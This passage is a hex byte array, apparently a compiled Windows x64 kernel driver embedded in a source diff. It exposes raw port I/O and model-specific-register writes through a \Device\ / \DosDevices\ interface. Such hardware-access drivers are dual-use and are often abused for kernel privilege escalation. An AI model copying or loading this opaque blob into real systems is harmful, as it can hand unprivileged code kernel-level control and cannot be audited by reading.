0x82, 0x00, 0x00, 0x00, 0x33, 0xDB, 0x0F, 0xB7, + 0xCE, 0x40, 0x84, 0xED, 0x74, 0x2F, 0x83, 0xE9, 0x01, 0x74, 0x1D, 0x83, + 0xE9, 0x01, 0x74, 0x0E, 0x83, 0xF9, 0x02, 0x75, 0x2F, 0x8B, 0x44, 0x24, + 0x24, 0x41, 0x89, 0x00, 0xEB, 0x11, 0x8B, 0x44, 0x24, 0x24, 0x66, 0x41, + 0x89, 0x00, 0xEB, 0x07, 0x8B, 0x44, 0x24, 0x24, 0x41, 0x88, 0x00, 0xF0, + 0x09, 0x1C, 0x24, 0xEB, 0x28, 0x83, 0xE9, 0x01, 0x74, 0x1F, 0x83, 0xE9, + 0x01, 0x74, 0x12, 0x83, 0xF9, 0x02, 0x74, 0x07, 0xBB, 0x0D, 0x00, 0x00, + 0xC0, 0xEB, 0x12, 0x8B, 0x00, 0x89, 0x07, 0xEB, 0x0C, 0x0F, 0xB7, 0x00, + 0x66, 0x89, 0x07, 0xEB, 0x04, 0x8A, 0x08, 0x88, 0x0F, 0x49, 0x8B, 0xD6, + 0x49, 0x8B, 0xC8, 0xFF, 0x15, 0x43, 0x08, 0x00, 0x00, 0x85, 0xDB, 0x78, + 0x08, 0x48, 0x8B, 0x4C, 0x24, 0x60, 0x4C, 0x89, 0x31, 0x8B, 0xC3, 0xEB, + 0x05, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, + 0x8B, 0x6C, 0x24, 0x48, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x8B, 0x7C, + 0x24, 0x58, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, + 0x41, 0x83, 0xF8, 0x0A, 0x72, 0x76, 0x44, 0x0F, 0xB7, 0x41, 0x08, 0x84, + 0xD2, 0x74, 0x2C, 0x41, 0x83, 0xE8, 0x01, 0x74, 0x1E, 0x41, 0x83, 0xE8, + 0x01, 0x74, 0x0E, 0x41, 0x83, 0xF8, 0x02, 0x75, 0x31, 0x8B, 0x41, 0x04, + 0x8B, 0x11, 0xEF, 0xEB, 0x10, 0x0F, 0xB7, 0x41, 0x04, 0x8B, 0x11, 0x66, + 0xEF, 0xEB, 0x06, 0x8A, 0x41, 0x04, 0x8B, 0x11, 0xEE, 0xEB, 0x32, 0x45, + 0x3B, 0xC8, 0x72, 0x3C, 0x41, 0x83, 0xE8, 0x01, 0x74, 0x22, 0x41, 0x83, + 0xE8, 0x01, 0x74, 0x13, 0x41, 0x83, 0xF8, 0x02, 0x74, 0x06, 0xB8, 0x0D, + 0x00, 0x00, 0xC0, 0xC3, 0x8B, 0x11, 0xED, 0x89, 0x01, 0xEB, 0x0E, 0x8B, + 0x11, 0x66, 0xED, 0x66, 0x89, 0x01, 0xEB, 0x05, 0x8B, 0x11, 0xEC, 0x88, + 0x01, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x0F, 0xB7, 0x49, 0x08, 0x48, 0x89, + 0x08, 0x33, 0xC0, 0xC3, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x49, 0x8B, 0xF9, 0x48, + 0x8B, 0xF2, 0x48, 0x8B, 0xE9, 0x41, 0x83, 0xF8, 0x08, 0x73, 0x07, 0xB8, + 0x23, 0x00, 0x00, 0xC0, 0xEB, 0x79, 0x33, 0xDB, 0x48, 0x8D, 0x0D, 0x51, + 0x19, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x48, 0x89, 0x5C, 0x24, 0x20, 0x45, + 0x33, 0xC0, 0x33, 0xD2, 0xFF, 0x15, 0xF6, 0x06, 0x00, 0x00, 0x4C, 0x8B, + 0x06, 0x48, 0x8D, 0x0D, 0x44, 0xFD, 0xFF, 0xFF, 0x48, 0x8B, 0xD5, 0xE8, + 0x9C, 0xF9, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x07, 0xBB, 0x25, 0x02, + 0x00, 0xC0, 0xEB, 0x2E, 0x83, 0x40, 0x40, 0xFF, 0x75, 0x21, 0x48, 0x8B, + 0x08, 0x48, 0x39, 0x41, 0x08, 0x75, 0x45, 0x48, 0x8B, 0x50, 0x08, 0x48, + 0x39, 0x02, 0x75, 0x3C, 0x48, 0x89, 0x0A, 0x48, 0x89, 0x51, 0x08, 0x48, + 0x8B, 0xC8, 0xE8, 0xDD, 0xF9, 0xFF, 0xFF, 0x48, 0xC7, 0x07, 0x08, 0x00, + 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8D, 0x0D, 0xE9, 0x18, 0x00, 0x00, 0xFF, + 0x15, 0x93, 0x06, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x40, + 0x48, 0x8B, 0x6C, 0x24, 0x48, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x83, + 0xC4, 0x30, 0x5F, 0xC3, 0xB9, 0x03, 0x00, 0x00, 0x00, 0xCD, 0x29, 0xCC, + 0x4D, 0x8B, 0xC8, 0x83, 0xFA, 0x0C, 0x73, 0x06, 0xB8, 0x23, 0x00, 0x00, + 0xC0, 0xC3, 0x45, 0x33, 0xC0, 0x48, 0x8B, 0x51, 0x04, 0x48, 0x8B, 0xC2, + 0x48, 0xC1, 0xEA, 0x20, 0x8B, 0x09, 0x0F, 0x30, 0x49, 0xC7, 0x01, 0x08, + 0x00, 0x00, 0x00, 0xEB, 0x03, 0x44, 0x8B, 0xC0, 0x41, 0x8B, 0xC0, 0xC3, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x49, 0x8B, + 0xF8, 0x48, 0x8B, 0xD9, 0x83, 0xFA, 0x14, 0x72, 0x56, 0x8B, 0x49, 0x10, + 0x8B, 0xC2, 0x4C, 0x8D, 0x49, 0x14, 0x49, 0x3B, 0xC1, 0x72, 0x48, 0x44, + 0x8B, 0x43, 0x08, 0x4C, 0x8D, 0x4B, 0x14, 0x8B, 0x43, 0x04, 0x41, 0x83, + 0xE0, 0x07, 0x8B, 0x13, 0x83, 0xE0, 0x1F, 0x89, 0x4C, 0x24, 0x28, 0xB9, + 0x04, 0x00, 0x00, 0x00, 0x41, 0xC1, 0xE0, 0x05, 0x44, 0x0B, 0xC0, 0x8B, + 0x43, 0x0C, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0xC0, 0x05, 0x00, 0x00, + 0x8B, 0xC8, 0x48, 0x89, 0x0F, 0x8B, 0x43, 0x10, 0x48, 0x2B, 0xC8, 0x48, + 0xF7, 0xD9, 0x1B, 0xC0, 0x25, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x05, 0xB8, + 0x23, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, + 0x30, 0x5F, 0xC3, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, 0x41, 0x54, 0x41, 0x56, + 0x48, 0x8D, 0xA8, 0x38, 0xFE, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xB0, 0x02, + 0x00, 0x00, 0x48, 0x8B, 0x05, 0x6F, 0x15, 0x00, 0x00, 0x48, 0x33, 0xC4, + 0x48, 0x89, 0x85, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xF9, 0xC7, 0x45, + 0x80, 0x14, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0x80, 0xFF, 0x15, 0x71, + 0x05, 0x00, 0x00, 0x45, 0x33, 0xE4, 0x85, 0xC0, 0x78, 0x22, 0x83, 0x7D, + 0x84, 0x06, 0x77, 0x08, 0x75, 0x1A, 0x83, 0x7D, 0x88, 0x02, 0x72, 0x14, + 0xC7, 0x05, 0x72, 0x15, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xC7, 0x05, + 0x6C, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x0F, 0x10, 0x47, 0x38, + 0x48, 0x8D, 0x15, 0x4D, 0x04, 0x00, 0x00, 0x48, 0x83, 0xCB, 0xFF, 0xF3, + 0x0F, 0x7F, 0x44, 0x24, 0x48, 0x48, 0xFF, 0xC3, 0x66, 0x44, 0x39, 0x24, + 0x5A, 0x75, 0xF6, 0x0F, 0xB7, 0x74, 0x24, 0x48, 0x0F, 0xB7, 0xC6, 0x66, + 0xD1, 0xE8, 0x66, 0x3B, 0xD8, 0x73, 0x05, 0x0F, 0xB7, 0xC3, 0xEB, 0x05, + 0x0F, 0xB7, 0xC6, 0xD1, 0xE8, 0x4C, 0x8B, 0x74, 0x24, 0x50, 0x49, 0x8B, + 0xCE, 0x44, 0x8B, 0xC0, 0xE8, 0x3B, 0x02, 0x00, 0x00, 0x85, 0xC0, 0x75, + 0x12, 0xB8, 0xFE, 0xFF, 0x00, 0x00, 0x0F, 0xB7, 0xCB, 0x0F, 0xAF, 0xC8, + 0x4D, 0x8D, 0x34, 0x5E, 0x66, 0x03, 0xF1, 0x4C, 0x8D, 0x05, 0x12, 0x04, + 0x00, 0x00, 0xBA, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0xA0, 0x00, + 0x00, 0x00, 0xE8, 0x01, 0x02, 0x00, 0x00, 0x0F, 0xB7, 0xDE, 0x48, 0x8D, + 0x8D, 0xA0, 0x00, 0x00, 0x00, 0x48, 0xD1, 0xEB, 0x4D, 0x8B, 0xC6, 0x4C, + 0x8B, 0xCB, 0xBA, 0x80, 0x00, 0x00, 0x00, 0xE8, 0xEA, 0x01, 0x00, 0x00, + 0x48, 0x8D, 0x95, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x58, + 0xFF, 0x15, 0x9A, 0x04, 0x00, 0x00, 0xBE, 0x00, 0x01, 0x00, 0x00, 0x4C, + 0x8D, 0x05, 0xE6, 0x03, 0x00, 0x00, 0x8B, 0xD6, 0x48, 0x8D, 0x0D, 0xED, + 0x14, 0x00, 0x00, 0xE8, 0xB8, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xCB, 0x48, + 0x8D, 0x0D, 0xDE, 0x14, 0x00, 0x00, 0x4D, 0x8B, 0xC6, 0x8B, 0xD6, 0xE8, + 0xAA, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x15, 0xCD, 0x14, 0x00, 0x00, 0x48, + 0x8D, 0x4C, 0x24, 0x68, 0xFF, 0x15, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x8D, + 0x44, 0x24, 0x40, 0x4C, 0x89, 0x64, 0x24, 0x40, 0x48, 0x89, 0x44, 0x24, + 0x30, 0x4C, 0x8D, 0x44, 0x24, 0x58, 0x44, 0x88, 0x64, 0x24, 0x28, 0x41, + 0xB9, 0x22, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x44, 0x89, 0x64, 0x24, 0x20, + 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xB3, 0x04, 0x00, 0x00, 0x85, 0xC0, 0x0F, + 0x88, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x58, 0x48, 0x8D, + 0x4C, 0x24, 0x68, 0xFF, 0x15, 0xA3, 0x04, 0x00, 0x00, 0x8B, 0xD8, 0x85, + 0xC0, 0x79, 0x12, 0x48, 0x8B, 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x9A, 0x04, + 0x00, 0x00, 0x8B, 0xC3, 0xE9, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, + 0xAC, 0xF4, 0xFF, 0xFF, 0x33, 0xD2, 0x48, 0x89, 0x47, 0x70, 0x48, 0x8D, + 0x0D, 0x4F, 0x16, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xC8, 0xF3, 0xFF, 0xFF, + 0x48, 0x89, 0x87, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xAA, 0xF4, + 0xFF, 0xFF, 0x48, 0x89, 0x87, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, + 0x4C, 0xF6, 0xFF, 0xFF, 0x48, 0x89, 0x47, 0x68, 0x48, 0x8D, 0x05, 0x59, + 0x16, 0x00, 0x00, 0x48, 0x89, 0x05, 0x5A, 0x16, 0x00, 0x00, 0x48, 0x89, + 0x05, 0x4B, 0x16, 0x00, 0x00, 0xFF, 0x15, 0xB5, 0x03, 0x00, 0x00, 0x44, + 0x8B, 0x0D, 0xC6, 0x13, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x7F, 0x16, 0x00, + 0x00, 0x66, 0x44, 0x89, 0x64, 0x24, 0x30, 0x45, 0x33, 0xC0, 0xC7, 0x44, + 0x24, 0x28, 0x43, 0x4C, 0x4D, 0x4D, 0x33, 0xD2, 0x48, 0xC7, 0x44, 0x24, + 0x20, 0x48, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xB5, 0x03, 0x00, 0x00, 0x33, + 0xC0, 0x48, 0x8B, 0x8D, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x33, 0xCC, 0xE8, + 0x3C, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, 0xB0, 0x02, 0x00, 0x00, + 0x49, 0x8B, 0x5B, 0x28, 0x49, 0x8B, 0x73, 0x30, 0x49, 0x8B, 0x7B, 0x38, + 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x41, 0x5C, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0x09, 0x13, 0x00, 0x00, 0x75, + 0x10, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, 0xFF, 0xFF, 0x75, 0x01, + 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x12, 0x00, 0x00, 0x00, 0xCC, 0xCC, + 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x83, 0x64, 0x24, + 0x20, 0x00, 0x48, 0x8B, 0xD1, 0x4C, 0x8B, 0x0D, 0xD4, 0x12, 0x00, 0x00, + 0xB9, 0xF7, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0xC0, 0x12, 0x00, 0x00, + 0x48, 0xFF, 0x15, 0x91, 0x03, 0x00, 0x00, 0x0F, 0x1F, 0x44, 0x00, 0x00, + 0xCC, 0xCC, 0xCC, 0xCC, 0xFF, 0x25, 0x9A, 0x03, 0x00, 0x00, 0xFF, 0x25, + 0x84, 0x03, 0x00, 0x00, 0xFF, 0x25, 0x16, 0x03, 0x00, 0x00, 0xFF, 0x25, + 0x68, 0x03, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, + 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, + 0x48, 0x83, 0xEC, 0x28, 0x41, 0x8B, 0x00, 0x4C, 0x8B, 0xC9, 0x44, 0x8B, + 0xD8, 0x4C, 0x8B, 0xD1, 0x41, 0x83, 0xE3, 0xF8, 0xA8, 0x04, 0x74, 0x13, + 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, 0x03, + 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4E, 0x8B, + 0x04, 0x10, 0x48, 0x8B, 0x42, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x8B, 0x42, + 0x08, 0x8A, 0x54, 0x01, 0x03, 0xF6, 0xC2, 0x0F, 0x74, 0x09, 0x0F, 0xB6, + 0xC2, 0x83, 0xE0, 0xF0, 0x4C, 0x03, 0xC8, 0x4D, 0x33, 0xC8, 0x49, 0x8B, + 0xC9, 0xE8, 0x0E, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xE0, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, + 0x47, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, + 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x50, + 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE1, 0xF8, 0x49, 0x03, 0xC9, 0x66, 0x0F, + 0x1F, 0x44, 0x00, 0x00, 0x4A, 0x89, 0x54, 0x08, 0xF8, 0x49, 0x83, 0xE9, + 0x08, 0x75, 0xF5, 0x49, 0x83, 0xE0, 0x07, 0x74, 0x05, 0x4A, 0x89, 0x54, + 0x01, 0xF8, 0xC3, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x49, 0x83, 0xE0, 0x07, 0x74, 0x0A, 0x42, 0x88, 0x54, 0x00, 0xFF, 0x49, + 0xFF, 0xC8, 0x75, 0xF6, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x48, 0x0F, 0x6E, + 0xC2, 0x0F, 0x16, 0xC0, 0x0F, 0x11, 0x01, 0x4C, 0x03, 0xC1, 0x48, 0x83, + 0xC1, 0x10, 0x48, 0x83, 0xE1, 0xF0, 0x4C, 0x2B, 0xC1, 0x4D, 0x8B, 0xC8, + 0x49, 0xC1, 0xE9, 0x07, 0x74, 0x2F, 0x0F, 0x29, 0x01, 0x0F, 0x29, 0x41, + 0x10, 0x48, 0x81, 0xC1, 0x80, 0x00, 0x00, 0x00, 0x0F, 0x29, 0x41, 0xA0, + 0x0F, 0x29, 0x41, 0xB0, 0x49, 0xFF, 0xC9, 0x0F, 0x29, 0x41, 0xC0, 0x0F, + 0x29, 0x41, 0xD0, 0x0F, 0x29, 0x41, 0xE0, 0x0F, 0x29, 0x41, 0xF0, 0x75, + 0xD5, 0x49, 0x83, 0xE0, 0x7F, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x04, + 0x74, 0x12, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x0F, 0x11, 0x01, 0x48, + 0x83, 0xC1, 0x10, 0x49, 0xFF, 0xC9, 0x75, 0xF4, 0x49, 0x83, 0xE0, 0x0F, + 0x74, 0x06, 0x42, 0x0F, 0x11, 0x44, 0x01, 0xF0, 0xC3, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, + 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x00, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, + 0x65, 0x00, 0x5C, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, + 0x6F, 0x00, 0x73, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, + 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x54, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x34, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF2, 0x51, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x1A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x52, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x52, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x8A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xAA, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCC, 0x52, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xEA, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x06, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x51, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x3C, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x4C, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6E, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x84, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xAE, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xC0, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xE4, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFE, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x54, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xDC, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x26, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x51, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0x1D, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xD0, 0x10, 0x00, 0x00, + 0xF0, 0x10, 0x00, 0x00, 0xA0, 0x12, 0x00, 0x00, 0x90, 0x16, 0x00, 0x00, + 0xB0, 0x16, 0x00, 0x00, 0x10, 0x1D, 0x00, 0x00, 0x20, 0x1D, 0x00, 0x00, + 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x77, 0xB7, 0x5D, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, + 0x88, 0x22, 0x00, 0x00, 0x88, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x7A, 0x77, 0xB7, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, + 0x74, 0x01, 0x00, 0x00, 0xFC, 0x22, 0x00, 0x00, 0xFC, 0x16, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x30, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x21, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x08, 0x21, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x10, 0x21, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, + 0xC7, 0x3D, 0x3F, 0x05, 0xE7, 0x77, 0xC7, 0x4F, 0x92, 0x0B, 0x75, 0x46, + 0x68, 0xC8, 0x64, 0xF6, 0x01, 0x00, 0x00, 0x00, 0x63, 0x3A, 0x5C, 0x70, + 0x72, 0x6F, 0x6A, 0x65, 